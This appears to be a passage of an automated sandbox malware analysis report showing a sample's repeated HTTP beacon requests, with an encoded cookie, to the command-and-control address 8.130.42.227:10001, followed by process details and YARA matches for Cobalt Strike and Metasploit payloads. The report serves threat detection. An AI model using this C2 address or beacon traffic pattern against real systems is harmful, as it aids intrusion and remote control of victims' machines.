124	192.168.2.4	49861	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:24.952651024 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:25.934140921 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:25 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49862	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:26.094698906 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:27.087327003 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:26 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49863	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:27.202214956 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:28.172127962 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:27 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49864	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:28.300782919 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:29.264139891 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:29 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49865	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:29.374037027 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:30.313374043 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:30 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	49866	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:30.438182116 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:31.392505884 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:31 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	49867	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:31.515368938 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:32.462285042 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:32 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	49868	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:32.580897093 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:33.550673008 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:33 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49869	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:33.674436092 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:34.629899979 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:34 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49870	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:34.748933077 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:35.695903063 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:35 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49871	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:35.925762892 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:36.920609951 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:36 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49872	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:37.045258999 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:38.425457954 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:37 GMT Content-Type: application/octet-stream Content-Length: 0
Oct 1, 2024 09:19:38.425618887 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:37 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49873	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:38.556296110 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:39.518117905 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:39 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49874	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:39.638994932 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:40.587492943 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:40 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49875	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:40.708197117 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:42.136219025 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:41 GMT Content-Type: application/octet-stream Content-Length: 0
Oct 1, 2024 09:19:42.136311054 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:41 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49876	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:42.250993967 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:43.230906010 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:43 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49877	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:43.342744112 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:44.303792000 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:44 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49878	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:44.424791098 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:45.387233973 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:45 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49879	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:45.516238928 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:46.466949940 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49880	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:46.580837965 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:47.532047033 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:47 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49881	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:47.654915094 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:48.613179922 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:48 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49882	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:48.732733011 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:49.687880039 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:49 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49883	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:49.816788912 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:50.784029961 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:50 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49884	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:50.960016012 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:51.912849903 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:51 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49885	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:52.029941082 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:52.973845005 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:52 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49886	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:19:53.367117882 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:19:54.270142078 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:19:54 GMT Content-Type: application/octet-stream Content-Length: 0

Target ID:	0
Start time:	03:16:56
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\7kSftA4Eoh.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\7kSftA4Eoh.exe"
Imagebase:	0x400000
File size:	19'456 bytes
MD5 hash:	71F8B8789A4B0AC3F057F1468579FC23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 